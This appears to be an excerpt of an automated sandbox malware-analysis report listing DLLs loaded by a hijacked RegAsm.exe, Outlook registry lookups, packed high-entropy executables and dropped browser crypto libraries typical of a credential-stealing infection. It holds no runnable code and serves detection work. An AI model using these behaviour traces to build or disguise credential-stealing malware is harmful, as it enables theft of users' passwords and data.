Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\userGIEGHJEGHJ.exe	Section loaded: mscoree.dll
Source: C:\Users\userGIEGHJEGHJ.exe	Section loaded: apphelp.dll
Source: C:\Users\userGIEGHJEGHJ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\userGIEGHJEGHJ.exe	Section loaded: version.dll
Source: C:\Users\userGIEGHJEGHJ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\userGIEGHJEGHJ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Users\userIJEGDBGDBF.exe	Section loaded: mscoree.dll
Source: C:\Users\userIJEGDBGDBF.exe	Section loaded: apphelp.dll
Source: C:\Users\userIJEGDBGDBF.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\userIJEGDBGDBF.exe	Section loaded: version.dll
Source: C:\Users\userIJEGDBGDBF.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\userIJEGDBGDBF.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: freebl3.pdb source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3067781475.000000006C7C5000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: freebl3.pdbp source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2665362322.000000006C74F000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: softokn3.pdb@ source: RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000003.00000002.2649143006.0000000038576000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000003.00000002.2640919241.000000002C69B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2665362322.000000006C74F000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000003.00000002.2622122875.0000000020358000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2603031796.000000001A3EA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2881426007.000000002264B000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2787844428.00000000228AB000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3067781475.000000006C7C5000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: softokn3.pdb source: RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00418A9A GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_00418A9A

Source: freebl3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.3.dr	Static PE information: section name: .00cfg
Source: msvcp140[1].dll.3.dr	Static PE information: section name: .didat
Source: softokn3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: sql[1].dll.3.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.3.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.3.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.3.dr	Static PE information: section name: .didat
Source: softokn3.dll.3.dr	Static PE information: section name: .00cfg
Source: nss3.dll.3.dr	Static PE information: section name: .00cfg

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042F292 push ecx; ret	3_2_0042F2A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042CDFE push esi; retn 0042h	3_2_0042CDFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00422E8A push esi; ret	3_2_00422E8C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041DF05 push ecx; ret	3_2_0041DF18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00432715 push 0000004Ch; iretd	3_2_00432726
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C54B536 push ecx; ret	3_2_6C54B549
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_224529DE push edi; retn 0000h	14_2_224529E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22583C51 push es; retf	14_2_22583C57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_225B4BF0 push ecx; ret	14_2_225B4C03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_225BA45D push esi; ret	14_2_225BA45F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_225FF456 push ebx; ret	14_2_225FF457
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_225ED568 push esp; retf	14_2_225ED570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_225EDB66 push esp; retf	14_2_225EDB67

Source: file.exe	Static PE information: section name: .text entropy: 7.996029289686649
Source: KECBKKEBKE.exe.3.dr	Static PE information: section name: .text entropy: 7.995413357235682
Source: 66fa2b049020f_ldnf[1].exe.3.dr	Static PE information: section name: .text entropy: 7.995413357235682
Source: EGDGCGCFHI.exe.3.dr	Static PE information: section name: .text entropy: 7.995787945508988
Source: 66fa2afc5abea_vasd[1].exe.3.dr	Static PE information: section name: .text entropy: 7.995787945508988
Source: DBGIJEHIID.exe.3.dr	Static PE information: section name: .text entropy: 7.994247352025327

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userIJEGDBGDBF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66fa2b049020f_ldnf[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DBGIJEHIID.exe	Jump to dropped file
